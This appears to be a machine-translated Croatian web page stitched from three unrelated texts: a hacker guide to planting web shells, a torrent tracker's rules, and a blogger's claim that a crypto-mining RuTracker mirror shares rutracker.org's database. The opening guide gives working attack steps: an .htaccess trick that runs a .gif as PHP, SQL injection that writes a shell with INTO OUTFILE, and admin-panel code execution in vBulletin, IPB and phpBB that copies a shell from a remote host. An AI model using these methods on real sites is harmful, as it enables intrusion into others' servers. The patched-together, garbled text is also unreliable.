Pozdrav %username% i njegovim prijateljima. Pa, hitno morate uploadati shell na stranicu, pa, nikad se ne zna, možda konačna naknada ovisi o tome. Pa, jednostavno ne ide. Ovdje sam prikupio nekoliko primjera (hvala Tracy i drugima na ovome).
Prolijmo ljusku kroz sliku
Hakirali ste stranicu (naravno, samo testirate) s prilagođenom administratorskom pločom... I ne možete učitati web ljusku, ali postoji učitavanje slika i učitava samo .jpg, .gif, .png formate.
Što se može učiniti u ovom slučaju?
Ljusku s ekstenzijom .gif gurnemo u neku mapu sa slikama i napravimo .htaccess datoteku sa sadržajem
AddType aplikacija/x-httpd-php .gif
Ova naredba će izvršiti format .gif kao php
Pokušavam otvoriti /shell.gif
Također, ako skripta nije ravnodušna prema prijelomima redaka, pokušavamo preplaviti ljusku, istovremeno je preimenujući u ljuska.php%00.jpg, provjerite dostupnost shell.php, što ako?
Metoda za učitavanje ljuske preko mysql.user iz whine
1) Saznajmo ispod koga sjedimo i također saznajmo njegova prava na mysql.
site.com/index.php?id=1+and+1=0+union+Select+1,user(),3+--+
(Hajde da saznamo ispod koga sjedimo)
2) site.com/index.php?id=1+and+1=0+union+Select+1,file_priv,3+from+mysql.user+where+user=" naš korisnik
"+--+
(Provjerimo privilegije našeg korisnika. Ako daje pogrešku tijekom izlaza, možete heksadecimalno odrediti našeg korisnika 0x)
3) site.com/index.php?id=-1+union+select+1,"",3+from+mysql.user+into+outfile+" Put do datoteke
"+--+
(Ispunite mini-školjku)
p.s.
Da bi sve radilo, morate imati prava pisanja i znati puni put do korijena.
Također možete provjeriti dozvole za pisanje ovako:
site.com/index.php?id=1+and+1=0+union+Select+1," prava
",3+od+mysql.korisnika+--+
Ako je prikazano prava, onda imate prava.
Sljedeća situacija. Nalazimo se u administratorskoj ploči vBulletin foruma
Idemo:
Dodaci i proizvodi -> Upravitelj dodataka -> Dodaci i proizvodi -> Upravitelj dodataka -> [Dodaj novi dodatak]
Odaberite predloške. Obično odaberemo faq_complete, označimo i kliknemo potvrdni okvir Dodatak je aktivan, postavimo ga na "Da" i spremimo.
lokalni host/forum/faq.php?cmd=phpinfo();
Ako smo ispisali phpinfo(), onda razmislite o ljusci u našim rukama.
Zatim u phpinfo morate pronaći puni put do foruma (na primjer /home/u0000/site.ru/www/sell.php). Zatim moramo pretvoriti našu web ljusku u txt datoteku i učitati je na bilo koje web mjesto
mysite.com/shell.txt
Ispunite ljusku naredbom
localhost/forum/faq.php?cmd=copy($_GET[a],$_GET[b]);&a=mysite.com/shell.txt&b=/home/u0000/site.ru/www/sell.php
Što ovaj tim radi? Kopira sadržaj varijable [a] u varijablu [b], odnosno shell.txt se kopira u shell.php
Učitavanje ljuske u IPB 3
Idemo:Podrška->Upravljanje SQL-om->Pokrenuti procesi->Pokreni novi upit
Kodirati:
odaberite 0x3c3f706870696e666f28293b3f3e u outfile "Z:/home/site.ru/www/uploads/shell.php"
Cijeli put možete vidjeti ovako:
Admin->Podrška
Na vrhu će biti napisana PHP verzija, a na lijevoj strani link na PHPINFO.
Shell ovdje:
http://site.com/uploads/shell.php
Prijenos ljuske na phpBB 2
1. Napravite datoteku ex.sql
2. Registrirajte se tamo
AŽURIRAJ phpbb_users SET user_sig_bbcode_uid="(.+)/e\0", user_sig="phpbb:eval(stripslashes($_GET[e]));" WHERE user_id=2;
Gdje je user_id=2 ID administratora
3. Idite na administrativnu ploču
4. U administratorskoj ploči odaberite stavku “Vrati DB” i preuzmite ex.sql
5. Izvršite kod / Ispunite ljusku ovako
Idemo:
http://target/profile.php?mode=editprofile&e=phpinfo();
Nakon:
http://target/profile.php?mode=editprofile&e=faq.php?cmd=copy($_GET[a],$_GET[b]);&a=mysite.com/shell.txt&b=/home/u0000/ site.ru/www/sell.php
Za prikaz phpinfo() morate biti prijavljeni.
Ovo je samo kratki popis kako i na koje motore se školjka može puniti. Treba više? Dobrodošli među dečke u rdot
učitavanje na forume
punjenje na cms
A ovdje je moja omiljena školjka, također na rdot))
Pravila i ograničenja na trackeru.
1. Opće odredbe i ograničenja
1.1. O ovim pravilima trackera se ne može pregovarati i moraju ih se bezuvjetno pridržavati svi prisutni na trackeru. Samo administratorima Trackera dopušteno je ne pridržavati se nekih odredbi pravila u iznimnim situacijama.
1.2. Administracija trackera je jedini i najviši autoritet gdje se mogu riješiti sve konfliktne situacije koje se tiču trackera i njegovih korisnika. Dakle, odluke Administratora su konačne i na njih nije moguće uložiti žalbu.
1.3. Administracija Trackera zadržava pravo izmjene i dopune svih stavki ovih pravila bez prethodne ili naknadne obavijesti. Dopune i izmjene pravila stupaju na snagu od trenutka objave. Međutim, kao čin dobre volje, Uprava će nastojati, kad god je to moguće, upozoriti korisnike na takve promjene.
1.4. Nepoznavanje ovih i drugih pravila Trackera ne samo da ne oslobađa od odgovornosti za njihovo kršenje, već je samo po sebi kršenje i otegotna okolnost.
1.5. Zabranjeno je korištenje bilo kakvih programa za lažiranje podataka o vašem prijenosu i preuzimanju. Varalice su odmah banirane.
1.7. Zabranjeno je korištenje kvarova i pogrešaka trackera u osobne svrhe. U slučaju otkrivanja kvarova i pogrešaka, morate obavijestiti upravu Trackera.
2. Registracija
Registracija je sastavni dio boravka na trackeru. Registracija automatski znači da se slažete s ovim Pravilima. Ako se ne slažete s ovim Pravilima, pišite upravi.
2.1. ZABRANJENA JE REGISTRACIJA S RAZNIH STRANIH PROXY POSLUŽITELJA. Prekršitelji - instant ban!!!
U iznimnim slučajevima dopušteno je tek nakon razmatranja zahtjeva od strane uprave.
2.2. ZABRANJENO JE REGISTRIRATI VIŠE OD DVA RAČUNA SA JEDNOG RAČUNALA. U slučaju kršenja, svi postojeći računi su zabranjeni.
Registracija novog računa nakon postojeća dva moguća je samo uz suglasnost administracije.
3. Pravila za komentiranje ruku
3.1. Zabranjena je upotreba psovki u komentarima na distribucije, bilo kakve opscene riječi i izrazi, prikrivene psovke, uključujući i na stranim jezicima.
Kazna: Uklanjanje komentara koji krše pravila i zabrana pisanja komentara u trajanju od 1 tjedna. Naknadno kršenje ovog pravila povlači zabranu pisanja komentara u trajanju od 7 dana i zabranu pisanja komentara u trajanju od 14 dana. Ubuduće će biti trajna zabrana pisanja komentara.
3.2. Zabranjeno je vrijeđanje sudionika trackera u bilo kojem obliku. Zabranjeno je bilo kakvo grubo izražavanje, osobne uvrede i nepristojne izjave prema drugim sudionicima, narušavanje njihovog ugleda, ponižavanje časti i dostojanstva, uključujući javno razotkrivanje osobnih odnosa, kako u osobnim porukama na trackeru tako iu komentarima na distribucije. Sudionici moraju održavati komunikaciju s poštovanjem.
Kazna: Uklanjanje komentara koji krše pravila i ban prekršitelja u trajanju od 7 dana. Naknadno kršenje ovog pravila rezultirat će zabranom od 7 dana i zabranom pisanja komentara od 30 dana. Ubuduće će biti trajna zabrana pisanja komentara.
3.3. Prijetnje bilo koje prirode su zabranjene (virtualne, stvarne i druge prijetnje sudionicima trackera).
Kazna: Brisanje poruka i ban počinitelja na 14 dana. Ako se ovo pravilo ponovno prekrši, dobit ćete zabranu na mjesec dana.
3.4. Flaming (poruke koje nisu u vezi s temom, namijenjene pokretanju spora, kao i personalizacija onih koji raspravljaju), flooding (poruke koje ne odgovaraju temi, nemaju semantičko opterećenje ili se sastoje samo od emotikona), offtopic (poruke koje se ne odnose na temu o kojoj se raspravlja) su zabranjene, kao i poticaji za flood, flame, offtopic i poruke poput: “Upomoć”, “Problem”, “O čemu pričaš, ha?” ili "Dakle, ne razumijem - odakle preuzeti?" i slično, koji nisu vezani za ovu distribuciju. Jedan komentar može sadržavati najviše 3 emotikona.
Kazna: Uklanjanje komentara koji krše pravila i opomena autoru komentara u trajanju od 3 dana. Ukoliko se ovo pravilo ponovno prekrši, autoru komentara bit će zabranjeno pisanje komentara u trajanju od 7 dana. Ubuduće se za svaki prekršaj izriče zabrana ostavljanja komentara u trajanju od 14 dana i zabrana preuzimanja u trajanju od 14 dana.
3.5. U komentarima je zabranjeno objavljivati komercijalne poruke, izravne ili neizravne reklame, spam poruke i poveznice na stranice koje nisu izravno povezane s distribucijom.
Kazna: Uklanjanje reklama, zabrana pisanja komentara u trajanju od 7 dana i zabrana preuzimanja u trajanju od 7 dana. U slučaju ponovljenog prekršaja, zabrana pisanja komentara u trajanju od 15 dana i zabrana preuzimanja u trajanju od 15 dana. Ubuduće će biti trajna zabrana pisanja komentara.
3.6. U komentarima je zabranjeno iskazivanje rasne, nacionalne i vjerske netrpeljivosti, agitiranje političkih stranaka, promicanje terorizma, ekstremizma, droge, vjere i drugih tema nespojivih s općeprihvaćenim zakonima morala i pristojnosti.
Kazna: Uklanjanje komentara koji krše pravila, zabrana pisanja komentara u trajanju od 14 dana i zabrana preuzimanja u trajanju od 14 dana. U slučaju ponovljenog prekršaja zabrana pisanja komentara u trajanju od 30 dana i zabrana preuzimanja u trajanju od 30 dana. Ubuduće će biti trajna zabrana pisanja komentara.
3.7. Zabranjeno je ostavljati komentare koji otvoreno ili prikriveno krše Kazneni zakon Ruske Federacije, kao i poruke koje pozivaju na počinjenje nezakonitih radnji.
Kazna: Brisanje poruka, zabrana pisanja komentara u trajanju od 14 dana i zabrana preuzimanja u trajanju od 14 dana. U slučaju ponovljenog prekršaja, prekršitelju se izriče zabrana od 30 dana. Za treći prekršaj - trajna zabrana.
3.8. U komentarima na distribucije zabranjeno je iznositi bilo kakve osobne podatke korisnika, povjerljive podatke, prava imena, objavljivanje fotografija, širenje informacija o privatnom životu sudionika rasprave koje predstavljaju njegovu osobnu ili obiteljsku tajnu, bez njegovog pristanka.
Kazna: Uklanjanje komentara koji krše pravila i usmeno upozorenje pratitelju. U slučaju ponovljenog kršenja, zabrana pisanja komentara u trajanju od 7 dana. Ubuduće vrijedi zabrana pisanja komentara u trajanju od 30 dana.
3.9. Zabranjeno je u komentarima objavljivati slike koje sadrže pornografiju, scene nasilja ili bilo koje druge slike koje ponižavaju ili vrijeđaju druge korisnike.
Kazna: Brisanje komentara koji krše pravila i zabrana preuzimanja i ostavljanja komentara u trajanju od 7 dana. U slučaju ponovljenog kršenja, korisniku se izriče zabrana u trajanju od 7 dana. Ubuduće - zabrana na 15 dana i trajna zabrana pisanja komentara.
3.10. U komentarima je zabranjeno koristiti jezik koji nije ruski i font osim ćirilice.
Kazna: Brisanje poruka i usmeno upozorenje korisniku; u slučaju ponovnog kršenja pravila iz ovog stavka, zabrana pisanja komentara u trajanju od 3 dana.
3.11. Zabranjeno je koristiti sljedeće metode označavanja u porukama: crveno, više od 75% velikih slova i velika veličina slova - to je privilegija moderatora i administratora.
Kazna: Brisanje poruka i usmeno upozorenje korisniku; u slučaju ponovnog kršenja pravila iz ovog stavka, zabrana pisanja komentara u trajanju od 7 dana.
3.12. Zabranjeno je prekomjerno citiranje (citiranje poruka drugih sudionika u količinama koje prelaze razumne količine (više od 10 redaka izvorne poruke)).
Kazna: Editovanje poruke i usmeno upozorenje korisnika; u slučaju ponovnog kršenja pravila iz ovog stavka, zabrana pisanja komentara u trajanju od 3 dana.
3.13. Spoileri su zabranjeni i suzdržite se od korištenja spoilera (otkrivanja ključnih točaka radnje, čije poznavanje može drugima pokvariti iskustvo gledanja, ishod utakmice itd.).
Ako ne možete bez spojlera, onda morate uključiti spojler u oznaku [expand] i staviti oznaku "Spoiler" ispred njega.
Napomena: U “sportskim” distribucijama zabranjeno je spoilirati do 11 komentara (1 stranica).
Kazna: Editovanje poruke i usmeno upozorenje korisnika. Ako opetovano kršite pravila ovog stavka, bit će vam zabranjeno pisanje komentara u razdoblju od 3 dana.
3.14. Zabranjeno je objavljivanje poruka koje sadrže namjerno lažne podatke.
Kazna: Uklanjanje komentara koji krše pravila i usmeno upozorenje korisniku. Ako opetovano prekršite pravila ovog stavka, bit će vam zabranjeno ostavljanje komentara u razdoblju od 7 dana.
Sustav za komentare torrenta dizajniran je za:
- izrazite svoje poštovanje i zahvalnost darovatelju,
- postavite konkretno pitanje koje vas zanima u vezi distribucije,
- Pružite zanimljive informacije vezane uz darivanje.
4. Ograničenja avatara i potpisa:
4.1. Potpis:
- Maksimalna visina: 100 bodova (drugim riječima, ne više od četiri korisničke trake ili deset redaka teksta (veličina fonta 10); širina: 750 bodova.
- Ukupna težina slika sadržanih u potpisu ne smije biti veća od 200 Kb.
- Sadržaj: nasilje, prijetnje (na demografskoj, nacionalnoj, vjerskoj ili političkoj osnovi), vulgarni jezik (psovke, psovke, bezobrazluk i sl.), razvrat (pornografija), diskriminacija u bilo kojem obliku, tekstovi i slike reklama ili reklamni su neprihvatljivi karakter, imitacija naslova/činova ovog izvora, kao i provokativne slike, uklj. koristeći nacističke simbole.
- Animacija: natpisi koji snažno trepću su zabranjeni (stupanj treptanja određuje administracija).
- Potpis ispod vaših poruka ne može se koristiti za stvaranje poveznica na bilo koje mrežne resurse. (iznimke su poveznice na stranice s korisničkim trakama, usluge poput youtube, google itd.)
4.2. Avatar:
- Maksimalna veličina: 100x100 piksela; težina: do 21 KB.
- Sadržaj: nasilje, prijetnje (na demografskoj, nacionalnoj, vjerskoj ili političkoj osnovi), vulgarni jezik (psovke, psovke, nepristojnost i sl.), razvrat (pornografija), diskriminacija u bilo kojem obliku, propaganda droga, komercijalno oglašavanje i reklamni tekstovi, imitacija naslova/činova ovog resursa, namjerna sličnost s avatarima članova uprave, kao i provokativne slike, uklj. koristeći nacističke simbole.
- Animacija: avatari koji snažno trepću su zabranjeni (stupanj treptanja određuje administracija).
Kazna: Uklanjanje potpisa i avatara ili zabrana korištenja (određuje administrator).
5. Oslobađanja
5.1. Zabranjeno je ponovno uploadati izdanja na druge trackere bez osobnog dopuštenja izdavača. Podržavanje distribucije izdanja koje je zabranjeno ponovno učitavanje na drugi tracker jednako je neovisnom ponovnom učitavanju i kažnjava se u skladu s klauzulom 7.
6. Ostalo
6.1. Zabranjeno je učitavanje sadržaja distribucija korištenjem servisa za hosting datoteka kao što su vip-file, letitbit i drugi...
6.2. Zabranjeno je korištenje bilo kojeg upravitelja preuzimanja za preuzimanje torrenta.
7. Kazna:
Za prekršaje navedene u stavcima 5-6 - zabrana od 7 dana. Ponovljeno kršenje ovih pravila rezultirat će doživotnom zabranom.
Napisao sam da kada se pokušate prijaviti na jedan od ogledala RuTrackera, dobivate poruku u kojoj stoji da je to moguće samo ako dopustite stranici da izvodi izračune na vašem računalu, drugim riječima, da rudari kriptovalute.
Nakon toga su mi u komentarima stizale ljutite poruke da sam stvarno budala, te da ogledala koja opisujem ne pripadaju root trackeru i nisu ni na koji način povezana sa samim root trackerom. Nisam tome pridavao veliku važnost i u komentarima na tu bilješku postavio sam pitanje, ali što je s činjenicom da ogledalo rutracker-org.appspot.com ponavlja ne samo dizajn službene web stranice rutrackera rutracker.org, ali i u potpunosti ponavlja njegov sadržaj. Međutim, kao odgovor na ovo sam čuo, citiram: " Ti si budala Volokh i ništa ne razumiješ".
Kako i dolikuje zdravom čovjeku, počinje razmišljati o sljedećem: Ako mi kažu da sam budala, možda je to istina? I ja sam to mislio, ali pokazalo se da ne - u ovoj situaciji nisam budala. Ali prvo o svemu.
Nakon što su RuTracker administratori počeli govoriti u komentarima da:
Nemamo drugih ogledala ili "dječjih projekata"! Svi ostali "klonovi" root trackera koji dupliciraju našu strukturu i dizajn nemaju nikakve veze s nama, njihovo korištenje može dovesti do krađe lozinki, korištenja vašeg računala za rudarenje kriptovaluta i drugih problema! Maintracker je također lažnjak!!
Počeo sam razmišljati, možda sam se stvarno zanio i uzalud klevećem dečke iz RuTrackera. U redu, odlučio sam usporediti komentare sa službene web stranice RuTracker - rutracker.org i komentari s rutracker zrcala rutracker-org.appspot.com, koji je zatražio dozvolu za generiranje kriptovalute. Pokazalo se da su komentari potpuno identični. Ali nitko mi neće vjerovati, odlučio sam i htio napraviti snimke zaslona. Ali i ova ideja se činila glupom, jer... komentari se mogu jednostavno brisati i uređivati.
Najbolja ideja je bila snimiti video. Pogledajmo, pa ću onda komentirati što se ovdje događa:
Jeste li pogledali? Odmah ću reći da predstavljam video "kakav jest", to jest, bez uređivanja. Stoga je bez komentara i glasa. Pa idemo shvatiti što se ovdje događa.
Za početak sam napravio poštanski sandučić za registraciju na stranici rutracker-org.appspot.com. Da, upravo na stranici koja rudari kriptovalute. Zašto na njoj, a ne na službenoj stranici? rutracker.org? Činjenica je da sam se suočio sa zadatkom pokazati što web stranice rutracker-org.appspot.com I rutracker.org jedna baza podataka, odnosno te su stranice međusobno povezane, suprotno izjavama administratora root trackera.
Nakon što sam otvorio svoju e-poštu, otvorio sam Tor preglednik i učitao tri kartice:
1. Službena web stranica rutracker.org;
2. Mirror RuTracker rutracker-org.appspot.com;
3. Kartica s otvorenim poštanskim sandučićem.
Nakon ovoga, na ogledalu RuTracker rutracker-org.appspot.com Registrirao sam se (vrijeme 00:25) i e-pošta za aktivaciju računa stigla mi je u poštanski sandučić (vrijeme 00:57). I tu počinju zanimljivi plesovi, ili bolje rečeno jezivi plesovi sa spaljivanjem guzice administratora web mjesta: aktivacijski kod sadrži poveznicu na službenu web stranicu trackera (vrijeme 1:00):
https://rutracker.org/forum/profile.php?mode=activate&u=43055955&act_key=nUMiXqWX19EF
Ova poveznica radi i vodi izravno na službenu web stranicu rutracker.org. Klikom na poveznicu kreira se račun na mirroru rutracker-org.appspot.com uspješno aktiviran na službenoj stranici rutracker.org(Vrijeme 1:06). U čuda tehnologije i čudesne misli administratora. Čini se da administratorima stranice nešto počinje dimiti. Pa dobro, budala sam, kako su rekli, šta da mi uzmeš. Samo naprijed.
Nakon uspješne aktivacije računa odlazim do ogledala rutracker-org.appspot.com i pokušajte se prijaviti na stranicu (vrijeme 1:45). Nakon unosa captcha uspješno se prijavljujem koristeći kreirani račun na “neslužbenom” trackeru (vrijeme 2:03). I u ovom trenutku pojavljuje se ista obavijest (vrijeme 2:07):
Kliknem na gumb "Dopusti" (vrijeme 2:08) jer se inače ne bih mogao ulogirati. Nakon toga pokazujem da je osobni račun prazan i da još nisam ostavio nijedan komentar (Vrijeme 2:20).
Sada, kako bih pokazao odnos između zrcala i službene stranice, odabirem slučajnu distribuciju na stranici rutracker-org.appspot.com i ostavite komentar (Vrijeme 3:10). Nakon toga, na službenim stranicama rutracker.org Pokušavam se prijaviti (vrijeme 3:40) s računom stvorenim na root tracker mirroru. I gle čuda, prijava i lozinka s "neslužbenog" zrcala pojavili su se na službenoj web stranici (vrijeme 4:00). Koincidencija? Nemoj misliti.
Idemo dalje, otvorimo popis poruka ostavljenih na trackeru i ono što vidimo: poznatu distribuciju na popisu tema (vrijeme 4:05). Vjerojatno i slučajnost, a radi veće uvjerljivosti otvaram komentar koji sam ostavio na ovu distribuciju na ogledalu koje admini ne prepoznaju (Vrijeme 4:17).
Usporedba komentara s distribucijom sa stranice rutracker-org.appspot.com I rutracker.org(Vrijeme 5.54) i još jednom se uvjeravamo da su ova dva mjesta međusobno povezana.
Što su mi administratori stranice napisali? Čini se da su me uvjerili da službena web stranica i ogledalo rutracker-org.appspot.com nisu ni na koji način međusobno povezani. Komentari administratora trackera jasno navode da sva ogledala jednostavno dupliraju strukturu i dizajn stranice, ali nisu međusobno povezana. No, iz onoga što smo vidjeli ispada da službena stranica kopira komentare s nekog lijevog ogledala? Ne, to je također besmislica. Gdje je istina? Istina je da ove dvije stranice imaju jednu bazu podataka, a postoji i mnogo ogledala, od kojih neke prepoznaju administratori trackera, dok druge ne prepoznaju i koriste se za generiranje kriptovalute.
Ispostavilo se da su mi cijelo to vrijeme u komentarima pokušavali uvaliti neke gluposti u uši i uvjeriti me da sam navodno otišao na potpuno krivu stranicu, a zapravo se pokazalo da i ta stranica pripada RuTrackeru.
Sumnjam da će sada kod nekih ljudi početi dolaziti do upale pete točke i da će biti obasuti prijetnjama, uvredama itd. Ali stvarno sam već mislio da je uzalud napadati dečke i da oni nisu ništa krivi. Ispostavilo se da je potpuno drugačije, a video je dokaz tome. Kako reče kolega: RuTracker - bio si mi kao brat.